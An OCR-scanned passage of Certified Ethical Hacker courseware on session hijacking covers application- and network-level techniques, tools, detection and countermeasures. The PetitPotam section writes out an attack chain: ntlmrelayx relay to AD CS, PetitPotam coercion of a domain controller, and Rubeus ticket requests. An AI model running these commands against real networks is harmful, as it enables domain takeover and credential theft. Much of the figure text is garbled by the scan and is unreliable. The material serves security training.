prem—T—— [ Cookie: 006441FEA449602] :::- : :::"d logs
* Some techniques for executing session ﬂ
fixation attacks are as follows: T v v

vulnerable server

Login with the same SID
(sessionid=0D6441FEA4496C2)

Session token in the URL argument
Session token in a hidden form field
Session ID in a cookie

POST account.php

Cookie: 0D6441FEA4496C2 ]
[ i Web Server
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Compromising Session IDs Using Session Fixation

Web session security prevents an attacker from intercepting, brute forcing, or predicting the
session ID issued by a web server to a user’s browser as proof of an authenticated session.
However, this approach ignores the possibility.of the attacker issuing a session ID to the user’s
browser, forcing it to use the chosen session-ID. This type of attack is called a session fixation
attack because an attacker fixes the user's session ID in advance, instead of generating it
randomly at the time of login.

The attacker performs a session fixation attack to hijack a valid user session. The attacker takes
advantage of limitations in web-application session ID management. Web applications allow
the user to authenticate themselves using an existing session ID, instead of generating a new
session ID. In this type of attack, the attacker provides a legitimate web-application session ID
and lures the victim to use it. If the victim's browser uses that session ID, then the attacker can
hijack the user-validated session because the attacker is already aware of the session ID used
by the victim.

A session fixation attack is a kind of session hijack. However, instead of stealing the session
established between a user and web server after the user logs in, a session fixation attack fixes
an established session on the user’s browser; thus, the attack is initiated before the user logs in.
An attacker uses various techniques to perform a session fixation attack:

= Session token in the URL argument
= Sessiontoken ina hidden form field

= Session ID in a cookie
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The attacker must choose a technique based on how the target web application uses session
tokens. The attacker exploits the vulnerability of a server that allows a user to use a fixed
session ID. Then, the attacker provides a valid session ID to a victim and lures him to
authenticate themselves using that session ID. A session fixation attack has the following three
phases.

Session set-up phase: In this phase, the attacker first obtains a legitimate session ID by
establishing a connection with the target web server. Few web servers support the idle
session time-out feature. If the target web server supports this feature, the attacker
needs to send requests repeatedly to keep the established trap session ID alive.

Fixation phase: In this phase, the attacker introduces the session ID to the victim's
browser, thereby fixing the session.

Entrance phase: In this phase, the attacker waits for the victim to log in to the target
web server using the trap session ID and then enters the victim’s session.

A session fixation attack is performed through the following steps.

First, the attacker establishes a legitimate connection with the target web server.

The target web server (e.g., http://citibank.com/) issues a session ID, say
OD6441FEA4496C2, to the attacker.

The attacker sends a link with the established session ID, say http://citibank.com/?
SID=0D6441FEA4496(C2, to the victim and. lures the victim to click on it to access the
website.

The victim clicks on the link, believing it to be a legitimate link sent by the bank. This
opens the server’s login page in the victim’s browser for SID=0D6441FEA4496C2.

The web server checks that the session ID 0D6441FEA4496C2 is already established and
is in an active state; hence, it does not create the new session.

Finally, the victim enters their login credentials in the login script, and the server grants
them access to the bank account.

At this point, knowing the session ID, the attacker can also access the victim’s bank
account via http://citibank.com/? SID=0D6441FEA4496C2.

Because the session ID is set by the attacker before the user logged in, the user can be said to
have logged into the attacker’s session.
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Figure 11.16: Session fixation attack
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Session Hijacking Using Proxy Servers
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Session Hijacking Using Proxy Servers

An attacker lures the victim to click on a fake link, which appears legitimate but redirects the
user to the attacker’s server. The attacker then forwards the request to the legitimate server on
behalf of the victim and serves as a proxy for the entire transaction. Acting as a proxy, the
attacker captures the session information during the interaction between the legitimate server
and user.

“<a href="htt p%'rea llybadguys.com/gotcha.php">

@ Click here for a 50% discount at Amazon.com!

Sends email with malicious link

Victim
Attacker
When clicked, redirects user to attacker server
l Forwards request to the
legitimate server on behalf of victim
i —@ P Jo—:zt
S o— iiif
—i] @_) o—
T Serves as a proxy for the entire N/ L=
Attacker transaction e
Legitimate Server
Server
(reallybadguys.com) (amazon.com)
Figure 11.17: Session hijacking using proxy servers
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Session Hijacking Using CRIME Attack

Compression Ratio Info-Leak Made Easy (CRIME) is a client-side attack that exploits the vulnerabilities present in the data compression
feature of protocols, such as SSL/TLS, SPDY, and HTTPS

+  Attackers hijack the session by decrypting secret session cookies

+  The authentication information obtained from the session cookies is used to establish a new session with the web application

Attacker tricks victim to click malicious link which
contains malicious CRIME JavaScript . _@ Established HTTPS Session

Sniffs HTTPS Traffic and @-
@ captures the cookies Victim

HTTPS Request Cookie:usr=ABCD24A, Cookie:usr=0

Total Length:384

=

HTTPS Request Cookie:usr=ABCD24A, Cookie:usr=AE

>
>

- < Total Length:376 : :
P — HTTPS Request Cookie:usr=ABCD24A, Cookie:usr=A o
Cdl

m Attacker successfully predicts the first character of cookie Total Length:360

V
~
-

.
-

Attacker Attacker follows the same process to predict the other characters of the cookie

il
Y
—

Attacker successfully establishes HTTPS Session
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Session Hijacking Using CRIME Attack

Compression Ratio Info-Leak Made Easy (CRIME) is a client-side attack that exploits
vulnerabilities in the data-compression feature of protocols such as SSL/Transport Layer
Security (TLS), SPDY, and HTTP Secure (HTTRS). The possibility of mitigation against HTTPS
compression is low, which makes this~vulnerability even more dangerous than other
compression vulnerabilities.

When two hosts on the Internet establish a connection using HTTPS, a TLS session is
established, and the data are transmitted in an encrypted form. Hence, it is difficult for an
attacker to read or modify the messages between the two hosts. When a user logs into a web
application, authentication data are stored in a cookie. Whenever the browser sends an HTTPS
request to the web application, the stored cookie is used for authentication. In this attack, the
attacker attempts to access the authentication cookie to hijack the victim’s session.

In HTTPS, cookies are compressed using a lossless data compression algorithm (DEFLATE) and
then encrypted. Hence, it is difficult for an attacker to obtain the value of the cookie with
simple sniffing.

To perform a CRIME attack, an attacker must use social engineering techniques to trick the
victim into clicking on a malicious link. When the victim clicks on the malicious link, it either
injects malicious code into the victim’s system or redirects the victim to a malicious website. If
the victim has already established an HTTPS connection with a secured web application, the
attacker sniffs the victim’s HTTPS traffic using techniques such as ARP spoofing. Through
sniffing, the attacker captures the cookie value from the HTTPS messages and sends multiple
HTTPS requests to the web application with that cookie prepended with a few random
characters. Subsequently, the attacker monitors the traffic between the victim and web
application to obtain the compressed and encrypted value of the cookie. After capturing the
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cookie, the attacker analyzes the cookie length and predicts the actual value of the
authentication cookie. After obtaining the authentication cookie, the attacker impersonates the
victim and hijacks the victim’s session with the secure web application to steal confidential
information such as passwords, social security numbers, and credit card numbers. Attackers use
tools such as CrimeCheck to detect whether a web server has TLS or HTTP compression enabled

and are thus vulnerable to CRIME attacks.

Attacker tricks victim to click malicious link which
contains malicious CRIME JavaScript

Sniffs HTTPS Traffic and
captures the cookies

o HTTPS Request

Established HTTPS Session

Victim

Cookie:usr=ABCD24A, Cookie:usr=0

>

Total Length:384

Ty
HTTPSRequest Cookie:usr=ABCD24A, Cookie:usr=AE

Total Length:376

e
Y

HTTPS Request Cookie:usr=ABCD24A, Cookie:usr=A

Attacker successfully predicts the firstcharacter of cookie Total Length:360

M

Attacker

Attackerfollows the same process to predict the other characters of the cookie

(A

Attacker successfully establishes HTTPS Session

Figure 11.18: Session hijacking using a CRIME attack
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Session Hijacking Using Forbidden Attack

A forbidden attack is a type of man-in-the-middle attack used to hijack HTTPS sessions
« It exploits the reuse of cryptographic nonce during the TLS handshake

After hijacking the HTTPS session, the attackers inject malicious code and forged content that prompts the victim to disclose sensitive
information, such as bank account numbers, passwords, and social security numbers

‘_@ TLS Handshake during HTTPS Connection Establishment

Sniffs the
traffic

Attacker
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Session Hijacking Using Forbidden Attack

A forbidden attack is a type of MITM attack that can be executed when a cryptographic nonce is
reused while establishing an HTTPS session with.aserver. According to the TLS specification,
these arbitrary pieces of data must be used once. This attack exploits the vulnerability that the
TLS implementation incorrectly reuses the.same nonce when data are encrypted using the
Advanced Encryption Standard—Galois/Counter Mode (AES-GCM) during the TLS handshake.
Attackers exploit this vulnerability to perform an MITM attack by generating cryptographic keys
used for authentication. Repeating the same nonce during the TLS handshake allows an
attacker to monitor and hijack the connection. After hijacking the HTTPS session and bypassing
the protection, attackers inject malicious code and forged content into the transmission, such
as JavaScript code or web fields that prompt the user to disclose passwords, social security
numbers, or other confidential information. A forbidden attack involves the following steps.

= The attacker monitors the connection between the victim and web server and sniffs the
nonce from the TLS handshake messages.

= The attacker generates authentication keys using the nonce and hijacks the connection.
= All the traffic between the victim and web server flows through the attacker’s machine.

= The attacker injects JavaScript code or web fields into the transmission towards the
victim.

= The victim reveals sensitive information such as bank account numbers, passwords, and
social security numbers to the attacker.
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TLS Handshake during HTTPS Connection Establishment
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Sniffs the
traffic

Attacker

Figure 11.19: Session hijacking using a forbidden attack
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Session Hijacking Using Session Donation Attack

In a session donation attack, an attacker donates his/her own session identifier (SID) to the target user
* The attacker first obtains a valid SID by logging into a service and later feeds the same SID to the target user

This SID links a target user back to the attacker’s account page without any information to the victim

t J o] o W
M s : o | } L . .
= Attacker donates his SID and lures the s Pl i
victim to click on it to access the website v el~]| = foam==
@) G : — F
Hi Bab, i
A

Atta c ke r Clhrl:k this out, here ilr-_‘_'I'e.h'.‘irtiil.‘-l)r.l:'ﬂ I\'?.I'TI'T[.'i from our bank, - .
B Victim

(OD acquires the information of victim

Issues a SID=0D6441FEA4496C2

Victim clicks on the link and
enters his/her details and saves it

10an
Attacker logs in and @

>Web Server

Attacker logs into a service and
establishes a legitimate connection
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Session Hijacking Using Session Donation Attack

In a session donation attack, the attacker donates their own session ID to the target user. In this
attack, the attacker first obtains a valid session ID by logging into a service and later feeds the
same session ID to the target user. This session ID links a target user to the attacker’s account
page without disclosing any information to.the victim. When the target user clicks on the link
and enters the details (username, password, payment details, etc.) in a form, the entered
details are linked to the attacker’s account. To initiate this attack, the attacker can send their
session ID using techniques such as cross-site cooking, an MITM attack, and session fixation.

A session donation attack involves the following steps.

= First, the attacker logs into a service, establishes a legitimate connection with the target
web server, and deletes the stored information.

= The target web server (e.g., http://citibank.com/) issues a session ID, say
OD6441FEA4496C2, to the attacker.

® The attacker then donates their session ID, say
http://citibank.com/?SID=0D6441FEA4496C2, to the victim and lures the victim to click
on it to access the website.

®= The victim clicks on the link, believing it to be a legitimate link sent by the bank. This
opens the server’s page in the victim’s browser with SID=0D6441FEA4496C2. Finally, the
victim enters their information in the page and saves it.

= The attacker can now login as themselves and acquire the victim’s information.
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Customer Care, Citibank

v

Victim

D

Victim clicks on the link and
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>Web Server

Attacker logs into a service and
establishes a legitimate connection

Figure 11.20: Session hijacking using a session donation attack
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Objective

Explain Network- Level Session
Hijacking
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Network- Level Session Hijacking

* The network-level hijacking relies on hijacking transpart and Internet protocols used by web applications in the
application layer

* By attacking the network-level sessions, the attacker gathers some critical information, which are used to attack
the application-level sessions

Network-level hijacking includes:

Blind hijacking RST hijacking
UDP hijacking Man-in-the- middle: Packet sniffer
TCP/IPhijacking IP spoofing: Source routed packets
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Network-Level Session Hijacking

Attackers especially focus on network-level session hijacking because it does not require host
access, in contrast to host-level session hijacking, or a need to tailor their attacks on a per-
application basis, in contrast to application-level hijacking.

This section discusses network-level session hijacking, concepts related to network
communications, and various techniques used to perform network-level session hijacking.
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Network-level hijacking relies on hijacking transport and Internet protocols used by web
applications in the application layer. By attacking network-level sessions, the attacker gathers
some critical information that is used to attack application-level sessions.

The following are different types of network-level hijacking:

= Blind hijacking = RST hijacking
= UDP hijacking " Man-in-the-middle: packet sniffer
= TCP/IP hijacking = |Pspoofing: source routed packets

Three-way Handshake

When two parties establish a connection using TCP, they perform a three-way handshake. A
three-way handshake starts the connection and exchanges all the parameters needed for the
two parties to communicate. TCP uses a three-way handshake to establish a new connection.

Initially, the client-side connection is in the closed state and the server-side in the listening
state. The client initiates the connection by sending the initial sequence number (ISN) and
setting the SYN flag. The client is now in the SYN-SENT state.

When the server receives this packet, it acknowledges the client sequence number and sends
its own ISN with the SYN flag set. The server’s state is now SYN-RECEIVED. On receipt of this
packet, the client acknowledges the server sequence.number by incrementing it and setting the
ACK flag. The client is now in the established, state. At this point, the two machines have
established a session and can communicate.

On receiving the client’s acknowledgement, the server enters the established state and sends
an acknowledgment, incrementing the client’s sequence number. The connection can be closed
either by using the FIN or RST flag or through a time out.

If the RST flag of a packet is set, the receiving host enters the CLOSED state and frees all
resources associated with this connection. This leads to the connection drop of any additional
incoming packets.

If the packet is sent with the FIN flag turned on, the receiving host closes the connection
because it enters the CLOSE-WAIT state. The packets sent by the client are accepted in an
established connection if the sequence number is within the range and follows its predecessor.

If the sequence number is beyond the range of the acceptable sequence numbers, it drops the
packet and sends an ACK packet using the expected sequence number.

For the three parties to communicate, the following information is required:
= |Paddress
= Port numbers

=  Sequence numbers

Module 11 Page 1582 Ethical Hacking and Countermeasures Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Session Hijacking

It is easy for an attacker to determine the IP address and port number; these are available in
the IP packets, which do not change throughout the session. However, the sequence numbers
change. Therefore, the attacker must successfully guess the sequence numbers for a blind
hijack. If the attacker can fool the server into receiving their spoofed packets and executing
them, the attacker is successful in hijacking the session.

SYN SEQ#t 4000
N o beridtd bt e e i o i s et e e et >
> ™
PR SYN+ACK, ACK# 4001, SEQ# 7000 000
o/ S L e e e L LR EEEE
h S
ACK, ACK# 7001, SEQ# 4001
\ lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll >
Bob Server

Figure 11.21: Three-way handshake
The three-way handshake shown in the above figure involves the following steps.

1. Bobinitiates a connection with the server and sends a packet to the server with the SYN
flag set.

2. The server receives this packet and sends a packet with the SYN + ACK flag and an initial
sequence number (ISN) for the server.

3. Bob sets the ACK flag acknowledging the receipt of the packet and increments the
sequence number by 1.

4. The two machines have successfully established a session.

If the attacker can anticipate the next sequence humber and ACK number that Bob will send,
they can spoof Bob’s address and start communication with the server.
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TCP/IP Hijacking
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TCP/IP Hijacking

In TCP/IP hijacking, an attacker intercepts an- established connection between two
communicating parties by using spoofed packets.and then pretends to be one of those parties.
In this approach, the attacker uses spoofed ‘packets to redirect the TCP traffic to their own
machine. Once this is successful, the victim!s connection hangs, and the attacker is able to
communicate with the host’s machine.on“behalf of the victim. To launch a TCP/IP hijacking
attack, both the victim and attacker must be on the same network. The target server and the
victim machines can be located anywhere. By using this technique, an attacker can easily attack
systems that use one-time passwords.

TCP/IP hijacking is performed through the following steps.

" The attacker sniffs the victim's connection and uses the victim’s IP address to send a
spoofed packet with the predicted sequence number.

= The receiver processes the spoofed packet, increments the sequence number, and
sends an acknowledgement to the victim's IP address.

®= The victim machine is unaware of the spoofed packet. Therefore, it ignores the receiver
machine’s ACK packet and turns off sequence number count.

= Consequently, the receiver receives packets with the incorrect sequence number.

= The attacker forces the victim’s connection with the receiver machine into a
desynchronized state.

= The attacker tracks sequence numbers and continuously spoofs packets that originate
from the victim’s IP address.

» The attacker continues to communicate with the receiver machine, while the victim’s
connection hangs.
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Figure 11.22: TCP/IP hijacking process

According to above figure, the next expected sequence number is 1420. If the attacker
transmits that packet sequence number before the.user does, they can desynchronize the
connection between the user and server.

If the attacker sent the data with the expected sequence number before the user could, the
server would be synchronized with the attacker. This leads to the establishment of a connection
between the attacker and server. Then; the server would drop the data sent by the user with
the correct sequence number, believing it to be a resent packet. The user is unaware of the
attacker’s action and may resend the data packet because the user does not receive an ACK for
their TCP packet. However, the server would drop all the packets resent by the user. Thus, the
local session hijacking attack is successfully completed.
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IP Spoofing: Source Routed Packets

The packet source routing technique is used for gaining unauthorized access to a computer with the help
of a trusted host’s IP address

An attackers spoofs the host’s IP address so that the server managing a session with the host accepts the
packets from the attacker

When the session is established, the attacker injects forged packets before the host responds to the
server

The original packet from the host is lost as the server receives the packet with a sequence number already
used by the attacker

The packets from the attacker are source-routed through the host with the destination IP specified by the
attacker
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IP Spoofing: Source Routed Packets

Source routed packets are useful in gaining unauthorized access to a computer with the help of
a trusted host’s IP address. This type of hijack allows attackers to create their own acceptable
packets to insert into a TCP session. First, an attacker spoofs a trusted host’s IP address so that
the server managing a session with the host.accepts the packets from the attacker. The packets
are source routed; therefore, the sender specifies the path for packets from the source to the
destination IP. By using this source-routing technique, attackers fool the server into believing
that it is communicating with the user.

After spoofing the |IP address successfully, the hijacker alters the sequence and
acknowledgment numbers. Once these numbers are changed, the attacker injects forged
packets into the TCP session before the client can respond. This leads to a desynchronized state
because there the sequence and ACK numbers are not synchronized. The original packets are
lost, and the server receives a packet with the new ISN. These packets are source routed to a
patched destination IP address specified by the attacker.
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RST Hijacking

* RST hijacking involves injecting an authentic-looking reset (RST) packet using a spoofed source address and
predicting the acknowledgment number

» Ahacker can reset a victim’s connection if it uses an accurate acknowledgment number

*  The victim would believe that the source sent the reset packet, and reset the connection

» RST Hijacking can be performed using a packet crafting tool, such as Colasoft Packet Builder, and TCP/IP analysis
tools, such as tcpdump

SRC: 192.168.0.100, DST: 192.168.0.200,
SEQ#: 1429775000, ACK#: 1250510000, LEN: 24

Sends a data packet

b
ral

02
SRC: 192.168.0.200, DST: 192.168.0.100, O_

Victim Machine Attacker spoofs IP SEQ#: 1250510000, ACK#: 1429725024, Server Machine
192.168.0.100 address of server ™~ LEN: 167 192.168.0.200
Se " pre, machine
”O‘s
CO!_‘.I
Attacker
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RST Hijacking

RST hijacking involves injecting an authentic-looking reset (RST) packet by using a spoofed
source IP address and predicting the acknowledgment number. The hacker can reset the
victim’s connection if it uses an accurate acknowledgment number. The victim believes that the
source has sent the reset packet and resets-the connection. RST hijacking can be performed
using packet-crafting tools such as Colasoft Packet Builder and TCP/IP analysis tools such as
tcpdump.

SRC: 192.168.0.100, DST: 192.168.0.200,
SEQ#: 1429775000, ACK#: 1250510000, LEN: 24

02
SRC: 192.168.0.200, DST: 192.168.0.100, O_

Sends a data packet

\ 4

Victim Machine Attacker spoofs IP SEQ#: 1250510000, ACK#: 1429725024, Server Machine
192.168.0.100 address of server ™5 LEN: 167 192.168.0.200
Seney Ore. . machine s
SRs A4
C‘of?
Attacker
Figure 11.23: RST hijacking process
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Blind and UDP Hijacking

Blind Hijacking

An attacker can inject malicious data or commands into
the intercepted communications in the TCP session even if
the source-routing is disabled

The attacker can send the data or commands but has no
access to see the response

— w13
-GOUNCI

UDP Hijacking

A network-level session hijacking where the attacker sends
forged server reply to a victim’s UDP request before the
intended server replies to it

The attacker uses a man-in-the-middle attack to intercept the
server's response to the client and sends a forged reply

P € . Client sends a UDP request
Sends a request X x i
Victim to the server Attacker UPD respoanse Server
intercepts Attacker
the request 8 Z%e iffs the
x© o\'{\
S
¥ o "Bs
- o
Attacker Attacker
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Blind Hijacking

In blind hijacking, an attacker can inject malicious data or commands into intercepted
communications in a TCP session, even if the victim disables source routing. For this purpose,
the attacker must correctly guess the next“ISN of a computer attempting to establish a
connection. Although the attacker can send malicious data or a command, such as a password
setting to allow access from another location on the network, the attacker cannot view the
response. To be able to view the response, an MITM attack is a much better option.

R
| O 33555
> o
Sends a request * O—ii
to the server Attacker Server
intercepts & ,boé’ﬂ
the request 0@,‘5‘ N
\ e o <°
< 0‘,@@
RS
- ©
Attacker

Figure 11.24: Blind hijacking process
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UDP Hijacking

The User Datagram Protocol (UDP) does not use packet sequencing or synchronizing. Therefore,
a UDP session can be attacked more easily than a TCP session. Because UDP is connectionless, it
is easy to modify data without the victim noticing. In network-level session hijack, the hijacker
forges a server reply to a client UDP request before the server can respond. Thus, the attacker
takes control of the session. The server’s reply can be easily restricted if sniffing is used. An
MITM attack in UDP hijacking can minimize the task of the attacker because it can stop the
server’s reply from reaching the client in the first place.

How UDP Hijacking Works:

= Spoofing source IP address: Because UDP does not require a handshake process before
data transmission, attackers can send UDP packets with a spoofed source IP address
(pretending to be another host).

= Intercepting the traffic: The attacker sends forged UDP packets to either the client or
server. These packets appear to be from a legitimate source but can contain malicious
data or instructions.

* Manipulating the communication: By inserting false information into a data stream or
initiating unauthorized requests, an attacker can manipulate the behavior of an
application using UDP traffic.

Client sends a UDP request d —
>[o—:iii
: P
x < =
response Server

Attacker

sniffs the

traffic
Attacker
Figure 11.25: Hijacking a UDP session
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MiTM Attack Using Forged ICMP and ARP Spoofing

In this attack, the packet sniffer is used as an interface between the client and server
An attacker changes the default gateway of the client’'s machine and attempts to reroute packets

The packets between the client and server are routed through the hijacker’s host using two techniques,
as shown below:

Forged Internet Control Message Address Resolution
Protocol (ICMP) Protocol (ARP) Spoofing
It is an extension of IP to send error messages ARP is used to map the network layer addresses (IP
where the attacker can send messages to fool the address) to link layer addresses (MAC address)

client and server
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MITM Attack Using Forged ICMP and ARP Spoofing

An MITM attack uses a packet sniffer to intercept communication between a client and server.
The attacker changes the default gateway of the client’s machine and attempts to reroute
packets. The packets between the client and_ server are routed through the hijacker’s host by
using the following two techniques.

Forged Internet Control Message Protocol (ICMP)

The Internet Control Message Protocol (ICMP) is an extension of IP used to send error
messages. An attacker can use ICMP to send messages to fool the client and server. In
this technique, ICMP packets are forged to redirect traffic between the client and host
through the hijacker’s host. The hacker’s packets send error messages indicating
problems in processing packets through the original connection. This fools the server
and client into routing through the hijacker’s path instead.

Address Resolution Protocol (ARP) Spoofing

Hosts use Address Resolution Protocol (ARP) tables to map local network layer
addresses (IP addresses) to hardware addresses or MAC addresses. This technique
involves fooling the host by broadcasting the ARP request and changing its ARP tables by
sending forged ARP replies. The attacker sends forged ARP replies that update the ARP
tables of the host that is broadcasting ARP requests. This routes the traffic to the
attacker’s host instead of the legitimate IP address.

In both techniques, an attacker routes the packets in transit between the client and server
through their machine.
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PetitPotam Hijacking

* In a PetitPotam attack, a domain controller (DC) is forced by an attacker to initiate authentication to the attacker’s server
The attacker uses Microsoft’s Encrypting File System Remote Protocol (MS-EFSRPC) API for authentication session hijacking

The attacker relays the NTLM authentication shared by the domain controller to the Active Directory Certificate Services (AD CS)
server and generates a certificate to acquire admin-level privileges

02 Provides NTML credentials for authentication

@ EfsRpcOpenFileRaw: Attacker's SMB server address

NTLM authentication /_\
[ &
; i 5 .ﬁ NTLM authentication replay
Having legitimate ST (04 >
user's NTLM @ " f-\
credentials m i) Generates AD certificate \O_?/
Attacker with AD CS Server
SMB Server
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PetitPotam Hijacking

In a PetitPotam attack, a domain controller (DC) is forced by an attacker to initiate
authentication to the attacker’s server. For this purpose, the attacker uses Microsoft’s
Encrypting File System Remote Protocol (MS-EFSRPC) API call for authentication session
hijacking. The attacker’s SMB server manipulates the session to make the domain controller
believe that the attacker is a legitimate user to receive the domain controller’s NTLM hash. This
requires the attacker to possess valid. credentials of a legitimate user who is a part of the
network.

Then, the attacker relays the NTLM authentication shared by the domain controller to the
Active Directory Certificate Services (AD CS) and generates a certificate. Sometimes, the AD CS
can play the role of the domain controller. Using the certificate, the attacker acquires
administrative privileges and takes full control over the AD server and subsequently the entire
network managed by the domain controller.

Steps to perform PetitPotam hijacking are as follows:

1. Attacker uses the already captured NTLM credentials to authenticate with the target
server.

2. The attacker uses the EfsRpcOpenFileRaw command from MS-EFSRPC API to coerce the
target server to perform NTLM authentication of another system.

3. Now, the attacker initiates NTLM replay attack to gain remote access to the target AD CS.

4. Finally, the attacker creates an AD certificate to gain administrator privileges to the
target AD server.

Module 11 Page 1591 Ethical Hacking and Countermeasures Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures

Exam 312-50 Certified Ethical Hacker

Session Hijacking

Having legitimate
user's NTLM

@ Provides NTML credentials for authentication
- p—TT

@ EfsRpcOpenFileRaw: Attacker's SMB server address 8 S—

—~
> LT sssss
11

NTLM authentication - e T
{ 03 }— g
l Domain Controller

NTLM authentication replay

v

Generates AD certificate

credentials

(05)
S

Attacker with
SMB Server

AD CS Server

Figure 11.26: PetitPotam attack

Run the following commands to perform a PetitPotam hijacking attack:

Module 11 Page 1592

Use the below command to identify the certificate authority:

certutil .exe

Use the below command from the Impacket tool kit to set up HTTP/SMB configuration
to capture credentials from DC:

ntlmrelayx.py -t <URL of Certificate authority with
enrolment> -smb2support --adcs --template DomainController

web

Use the following command to force the authentication using with the captured
credentials through the MS-EFSRPC APl call:

python3 PetitPotam.py -d '<CA name>
<Listener-IP> <IP of DC>

-u <Username> -p <Password>

The attack can also be launched without credentials if the DC is vulnerable. Use the
following command to launch PetitPotam without credentials to receive the certificate’s
NTLM hashes.

python3 PetitPotam.py <Attacker’s IP> <IP of DC>
After obtaining NTLM hashes of the certificate, invoke password-cracking tools such as
Rubeus to request a Kerberos ticket for the machine containing DC account privileges:

Rubeus.exe asktgt /outfile.kirbi /dc:<DC-IP> /domain: domain name
/user: <Domain username> /ptt /certificate: <NTLM hashes received
from above command>
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Session Hijacking Tools

Hetty is an HT TP toolkit that allows attackers to perform machine- Caido is a web security auditing toolkit that security
Hetty in-the-middle (MITM) HTTP proxy attack using logs and Caido professionals can use to intercept and view HT TP requests in
advanced search real-time while browsing

https://github.com hrrps:,{f'cm;dg_._:_’g

Some more bettercap OWASP ZAP WebSploit Framework sslstrip Burp Suite
tools are: https://www.bettercap.org https://www.zaproxy.org https://sourceforge.net https://pypi.org https://portswigger.net
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Session Hijacking Tools

Attackers can use tools such as Hetty, OWASP ZAP, and bettercap to hijack a session between a
client and server. This section discusses various-tools that help perform session hijacking.

* Hetty
Source: https://github.com
Hetty is an HTTP toolkit for security research. It provides the following features:
o Machine-in-the-middle (MITM) HTTP proxy with logs and advanced search
o HTTP client for manually creating/editing requests and replaying proxied requests

o Intercepting requests and responses for a manual review (edit, send/receive, and
cancel)
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[} . Hetty:/f x 4 o % %

= Search proxy logs...

Method Origin

GET http#/www.moviescope.. /is/seript.js 0K

GET http // wwew.moviescope... /ess/common.css OK

GET http// wwwe.moviescope... /ess/stylecs OK

GET http/#fonts.googleapis. .. /ess? Mot Found
GET http // www moviescope... - 0K

GET http 2 wwrwe. moviescope... . OK

GET http //ipv6.msftconnect... feonnecttest. txt

GET http/www.msftconnec.. Jeonnecttest. txt

Select a log entry...

Figure 11.27: Screenshot of Hetty
= (Caido
Source: https://caido.io

Caido is a web security auditing toolkit that security professionals can use to intercept
and view HTTP requests in real time while browsing. It allows customization and testing
of requests against large wordlists, automatically modifies incoming requests using
Regex rules, and resends requests to manually test endpoints.
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| ! Project Session Hijacking
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Figure 11.28: Sereenshot of Caido

= bettercap

Source: https://www.bettercap.org

26 selected

bettercap is a portable framework written in Go that allows security researchers, red
teamers, and reverse engineers to perform reconnaissance and various attacks on Wi-Fi
networks, Bluetooth low energy devices, wireless HID devices, and IPv4/IPv6 networks.
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v  Search Terminal Help

Figure 11.29: Screenshot of bettercap
The following are some additional session hijacking tools:
= Burp Suite (https://portswigger.net)
= QOWASP ZAP (https://www.zaproxy.org)
=  WebSploit Framework (https://sourceforge.net)

= ssistrip (https://pypi.org)
» JHijack (https://sourceforge.net)

Exam 312-50 Certified Ethical Hacker
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Objective

Explain Session Hijacking
Countermeasures

Session Hijacking Countermeasures

In general, hijacking is a dangerous attack because the victim is at risk of identity theft, fraud,
and loss of sensitive information. All networks using TCP/IP are vulnerable to the different types
of session hijacking attacks discussed earlier-;However, following best practices might protect
against session hijacking attacks.

This section discusses session hijacking.detection methods, session hijacking detection tools,
various countermeasures to combat session hijacking attacks, and approaches causing
vulnerability to session hijacking and their preventative solutions such as IP Security (IPsec).

Session Hijacking Detection Methods

Session hijacking attacks are exceptionally difficult to detect, and users often overlook them
unless the attacker causes severe damage.

The following are some symptoms of a session hijacking attack:
= A burst of network activity for some time, which decreases the system performance

= Busy servers resulting from requests sent by both the client and hijacker
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Methods to detect session hijacking

r ) |

Detection Method

1

{ Manual Method

. | : |

Using Packet Intrusion Detection
Sniffing Software Systems (IDS)

—d

{ Automatic Method }

>

1

Intrusion Prevention
Systems (IPS)

Figure 11.30: Session hijacking detection methods

"=  Manual Method

The manual method involves the use of packet sniffing software such as Wireshark and
SteelCentral Packet Analyzer to monitor session hijacking attacks. The packet sniffer
captures packets in transit across the network, which is then analyzed using various
filtering tools.

Forced ARP Entry

A forced ARP entry involves replacing the MAC address of a compromised machine in
the ARP cache of the server with a different one in order to restrict network traffic to
the compromised machine.

A forced ARP entry should be performed in the case of the following:
o Repeated ARP updates
o Frames sent between the client and server with different MAC addresses
o ACK storms
= Automatic Method

The automatic method involves the use of an intrusion detection systems (IDS) and
intrusion prevention systems (IPS) to monitor incoming network traffic. If the packet
matches any of the attack signatures in the internal database, the IDS generates an
alert, whereas the IPS blocks the traffic from entering the database.
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Protecting against Session Hijacking

Use Secure Shell (SSH) or OpenSSH to create a secure
communication channel

Implement the log-out functionality for the user to end the
session

Generate a session ID after a successful login and accept only
session IDs generated by the server only

Ensure that data in transit is encrypted and implement the
defense-in-depth mechanism

Use string or long random numbers as session keys

Switch from a hub network to a switch network to reduce
the risk of session hijacking attacks

Implement timeout() to destroy sessions when expired

® 666 6
® 66 &
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Avoid including the session ID in the URL or query string

Ensure that client-side and server-side protection software
are in the active state and up-to-date

Use strong authentication (such as Kerberos) or peer-to-
peer virtual private networks (VPNs)

Configure appropriate internal and external spoof rules
on gateways

Use IDS products or ARPwatch for monitoring ARP cache
poisoning

Enable browsers to verify website authenticity using
network notary servers

Use SFTP, AS2 managed file transfer, or FTPS to send data
using encryption and digital certificates

— w13
-GOUNCI

Protecting against Session Hijacking

= Use the Secure Shell (SSH) to create a secure cammunication channel.

Pass authentication cookies over HTTPSconnhections.

= |Implement the log-out functionality:-ferithe user to end the session.

= Generate a session ID after a_successful login and accept session IDs generated by the

server only.

" Ensure that data in transit is encrypted and
mechanism.

implement the defense-in-depth

= Use strings or long random numbers as session keys.

= Use different usernames and passwords for different accounts.

* Educate employees and minimize remote access.

= |mplement timeout mechanism to destroy sessions when expired.

= Avoid including the session ID in the URL or query string.

=  Switch from a hub network to a switch network to
other session hijacking attacks.

reduce the risk of ARP spoofing and

®= Ensure that client-side and server-side protection software are in the active state and

up-to-date.

= Use strong authentication (such as Kerberos) or peer-to-peer virtual private networks

(VPNs).

= Configure appropriate internal and external spoof rules on gateways.
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Use IDS products or ARPwatch for monitoring ARP cache poisoning.
Use encrypted protocols available in OpenSSH suite.

Use firewalls and browser settings to confine cookies.

Protect authentication cookies with Secure Sockets Layer (SSL).

Regularly update platform patches to fix TCP/IP vulnerabilities (e.g., predictable packet
sequences).

Use IPsec to encrypt session information.

Enable browsers to verify website authenticity using network notary servers.
